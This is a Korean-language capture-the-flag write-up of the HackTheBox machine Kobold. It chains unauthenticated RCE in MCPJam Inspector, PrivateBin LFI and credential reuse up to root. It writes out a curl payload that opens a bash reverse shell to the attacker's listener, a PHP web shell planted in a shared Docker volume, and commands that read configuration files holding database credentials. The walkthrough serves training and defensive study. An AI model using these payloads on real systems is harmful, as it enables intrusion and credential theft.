HackTheBox Kobold: MCPJam Inspector를 통한 RCE 완전 공략
HackTheBox Kobold(시즌 10, 쉬움)은 AI/ML 생태계에서 노출된 개발자 도구로 인한 실제 위협을 보여줍니다. 주요 공격 경로는 MCPJam Inspector v1.4.2(GHSA-232v-j27c-5pp6)의 인증 없이 가능한 RCE입니다. 이는 Docker 볼륨과 자격 증명 재사용을 거쳐 결국 루트 접근으로 이어지는 공격 체인을 형성합니다. 이 분석은 중견 이상의 DevSecOps 전문가를 대상으로 합니다.
Nmap 스캔 결과 22번(SSH), 80/443번(nginx, kobold.htb), 3552번(Arcane 대시보드) 포트가 확인됩니다. 핵심은 SSL의 와일드카드 *.kobold.htb와 노출된 MCPJam Inspector가 있는 서브도메인 mcp.kobold.htb입니다.
정찰 및 열거
표준 nmap 스캔:
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>
| 포트 | 서비스 | 버전 | 참고 사항 |
|------|---------|---------|-------|
| 22 | SSH | OpenSSH 9.6p1 | CVE 없음 |
| 80 | HTTP | nginx 1.24.0 | HTTPS로 리디렉션 |
| 443 | HTTPS | nginx 1.24.0 | kobold.htb |
| 3552 | HTTP | - | Arcane 대시보드 |
vhost 열거를 위한 ffuf:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
mcp.kobold.htb 발견 — MCPJam Inspector v1.4.2. 로그인 없이 전체 접근 가능: 서버, 채팅, 앱 빌더. Ollama에 연결됨.
모델 컨텍스트 프로토콜(MCP) — AI 모델을 외부 도구와 통합하기 위한 프로토콜. Inspector는 0.0.0.0에서 수신하며, API /api/mcp/connect는 검증 없이 serverConfig.command를 수락합니다.
초기 접근: MCPJam에서의 RCE
리스너 설정:
nc -lvnp 4444
페이로드:
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
ben으로 쉘 획득(uid=1001, groups=ben,operator). 안정화:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm
사용자 플래그: /home/ben/user.txt.
내부 정찰
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
쉘을 가진 사용자: root, ben, alice. ben — operator, alice — docker.
ss -tlnp는 localhost:8080(PrivateBin Docker), 6274(MCPJam)을 보여줍니다. Nginx 설정은 bin.kobold.htb → localhost:8080을 나타냅니다.
operator 그룹은 /privatebin-data/ — 공유 Docker 볼륨에 대한 읽기/쓰기 접근 권한을 가집니다.
find / -group operator 2>/dev/null
볼륨을 통한 PrivateBin의 LFI
PrivateBin 2.0.2(CVE-2025-64714, GHSA-g2j9-g8r5-rg82). templateselection = true일 때 쿠키 template을 통한 LFI.
- 볼륨에 웹쉘 생성:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
- 실행:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
- conf.php 덤프:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
MySQL 자격 증명: 사용자명 privatebin, 비밀번호 유출.
권한 상승: 자격 증명 재사용
체크리스트:
- SSH(alice/ben/root + 유출된 비밀번호)
- su alice/root
- Arcane: arcane/arcane-admin + 유출된 비밀번호
성공: arcane / <LEAKED_PASSWORD> in Arcane v1.13.0 on :3552.
대시보드에서 전체 Docker 제어 가능. /host를 프리빌리지드 마운트로 컨테이너 생성 → 루트 쉘.
핵심 요약:
- 노출된 MCP 도구(GHSA-232v-j27c-5pp6) — AI 인프라의 새로운 RCE 벡터
- 공유 Docker 볼륨 + operator 그룹 = 호스트 파일 시스템 접근
- 자격 증명 재사용: 기본 사용자명 + 유출된 비밀번호
- 쓰기 가능한 볼륨을 통한 LFI 체이닝으로 컨테이너 격리 우회
- 와일드카드 서브도메인과 내부 서비스 항상 열거
— Editorial Team
아직 댓글이 없습니다.